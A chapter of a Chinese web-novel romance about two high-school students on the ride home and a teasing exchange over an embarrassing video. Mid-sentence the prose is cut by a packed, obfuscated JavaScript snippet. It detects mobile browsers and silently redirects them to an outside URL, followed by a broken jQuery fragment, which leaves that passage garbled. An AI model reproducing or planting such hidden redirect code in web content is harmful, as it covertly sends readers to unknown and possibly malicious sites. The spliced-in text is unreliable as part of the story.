温遇这才发现他竟然打开了手机的手电筒,将光源照在她正在写的试卷上方,谢闻颂单手举着,将嘴里最后一点硬糖咬碎:“写吧。” “……” 温遇感觉心尖的位置被蝴蝶触角轻碰,她重新握住笔,用按动的那头戳戳快要搭到她身上的耳机线:“这样不会影响你听歌吗?” 谢闻颂笑着将耳机的另一端放在温遇耳朵里,她听见里面评书人正在讲《资治通鉴》,吓得她直接把耳机拿下来,歪歪扭扭重新插回谢闻颂的耳朵里:“这还是你自己听吧。” “这是我听不听的问题吗?” “这不是在证明给你看你的问题?” 谢闻颂还是把刚才她歪歪扭扭戴上的耳机拿下来,他刚才憋着坏心思,把耳机给温遇以前特意换了个频道,给她听评书纯属是突然想捉弄她。 温遇缓慢回忆起自己刚才问他的问题。 关于开着手电筒能不能同时听音乐的问题。 “你能听见就行。” 温遇重新埋下头继续写卷子,谢闻颂因为得给她举着手机,所以和她凑得比较近,偏个头就能看清卷子上的题。 温遇很少需要他去辅导什么,她本身成绩也很好,谢闻颂很清楚她的能力,不会擅自做主插手她的节奏,他更多的时候,倒像是个陪伴者。 他是被陪伴的那一个。 高架桥两侧灯光依次滑进车里流淌成一条河,像在为走在回家这条路上的他们保驾护航,落下的光将温遇的发色染成浅棕,明明灭灭的灯光争先恐后要往谢闻颂的眼前挤—— 可他只看得见温遇。 他将耳机里的《资治通鉴》说书关掉,切到听歌软件,随意点开日推,歌曲零帧起手,咬字清晰的歌词涌入耳朵—— 【不敢回看 左顾右盼不自然的暗自喜欢】 【偷偷搭讪总没完地坐立难安】 【试探说晚安多空泛又心酸】 手指抖的那一下,他把歌曲设置成单曲循环。 不是不小心。 车程很快,也就半个小时左右就能到家,谢闻颂举了半个小时的手机,到家附近他关掉手电筒,手机重新放回兜里时已经发烫。 他们一起下车,温遇收紧手臂防止卷子被风刮走,隔着风声问他胳膊酸不酸。 他说不酸。 谢闻颂把发麻的指尖往回收收,虚虚拢着握不住空气,一边耳机从他后颈绕过去,扫在皮肤上痒痒的。 分科后,他所处的理科楼远离温遇所在的位置,他前几天趁着午休时间越过操场,到对面的楼看了眼,隔着薄薄一层的玻璃见到她,看她手肘支在窗台上,正在那和同学一起吹风。 有认识谢闻颂的同学问他怎么跑这边来了,他随口诹了句来找老师表以回应,并没逗留多久。 原路返回,他的心脏在太阳下怦怦跳。 被太阳晒过的喜欢,仿佛更加坚定了些。 谢闻颂将注意力扯到此刻,温遇仍旧走在他前面,试卷一角被风吹起,又被她给压下去。 谢闻颂突然在想,他和温遇,到底是谁在陪谁。 刚才听到的那首歌还在耳机里来回滚动循环。 【灯火阑珊 我的心借了你的光是明是暗】 笨拙的人想要聪明,怯懦的人想要勇敢,脆弱的人想要坚强。 而谢闻颂想要留在温遇身边。 这些悄悄话。 晚风听见了吗? 听见就听见吧。 …… 高二是周末两天休息一天半,周六结束补课之后,温遇回到家直接把书包掼在椅子上,她单手从衣兜里摸出手机,几条都来自程以桉。 这人神秘兮兮地发过来一段视频链接,温遇低头瞟了眼,先去冰箱里顺瓶小青柠汁,回到房间里拧瓶盖,就手没有防备地点开。 “……” 一秒,两秒,上面没有任何画面,只有不间断发出的声音。 温遇表情凝固。 谁知道会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15303473|141880||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是这种东西。 她甚至连小青柠汁还没来得及喝一口,火速关掉手机,直接扔到被窝的最深处,整个人顺势倒在床上,迅速升起温度的脸在被罩下越埋越热。 幸好没在人多的地方点开。 这个程以桉是真的想要她社死。 温遇发誓,以后程以桉发给她的视频,她都得防备起来,至少得戴上耳机听。 这也太吓人了。 手机那头的程以桉还在叮叮咚咚给她发消息,温遇翻了半天直接静音,重新扔进被子里。 没过几分钟,有人从外面敲门。 “是我。” 温遇缓慢挪到床边,把门的扶手往下按,露出一道缝,谢闻颂瞅见她这做贼似的动作:“……” “不舒服?” 他仍旧站在门口,没往温遇的卧室迈出一步。 “没有。”温遇用手拍拍脸,隔着门缝瞧他。 谢闻颂好像永远只挎一边的书包带。 温遇思绪劈个叉。 难道这不会高低肩吗。 此刻这人一手插兜,一手正看手机的姿势倚在门框上,问她怎么不回消息。 “我没看见你的消息啊。”温遇翻了半天被窝才找到被自己扔进去的手机,扫脸解锁,点开微信后把屏幕给他看:“我刚才没收到你的消息——” “这是什么。” 谢闻颂点开屏幕中间的白色三角,下一秒,视频里的声音没有任何隔阂地涌出来,在两个沉默的人之间响起。 温遇很快反应过来这是什么,火速收回手机退出界面,死命摁着音量键,顺带着把自己和程以桉的聊天记录删除。 动作稍显慌乱,谢闻颂很轻易就能捕捉。 视频退出去,空间重新恢复寂静。 温遇后知后觉的尴尬让她开始脚趾扣地,火速从床上站起身,拿好自己需要学习的课本和试卷,握紧把手时很用力,把门都扇出一道风。 “我们去学习吧。” 温遇假装淡定,没注意自己绑头发的兔子发绳都歪了。 谢闻颂不紧不慢将她堵在门口,一边胳膊紧贴门框,一边手又把门把手重新给抓回来。 这次被夹在门缝之间的人成了温遇。 “你刚才在看什么。”他问。 温遇手心有点冒汗,各种结果想了一圈,发现可能还是装傻最管用。 “别人给我发的,我没看。” 撒谎差点咬到舌头,温遇向内吸气,努力保持淡定。 “看视频还学会了撒谎。” “温鱼鱼,我真小看你了。” 温遇下意识就想说:你才知道啊。 谢闻颂比她高,刻意压下语气时给人一种压迫感,不过因为对面的人是她,所以这种压迫感倒更像是想问清答案的认真。 温遇不想被他压着,抬起头。 “看了又怎么了,我都已经长大了。” “那也是我先比你成年。” 谢闻颂总是有办法轻易激起温遇的怒气。 “……” 温遇想直接推开门往书房走,额头却被一根手指戳在原地。 谢闻颂收回摁在把手上的那只手,卧室里开着窗户,门板失去人为控制被风轻轻拂开,携带夏日气息的风过穿堂,温遇隔着发丝注视他的双眼。 好奇怪,刚才所有浮躁的情绪都在这一刻被抽走,留下的只有一颗微微加速跳动的心脏。 时间在对视间无声流淌。 隔着刘海点在温遇额前的手指化掌,仿佛带着要按下一切烦躁似的抚过她的头顶。 “妹妹。” “可别学坏了。” 谢闻颂笑了声。 “哥哥会一直监督你的。”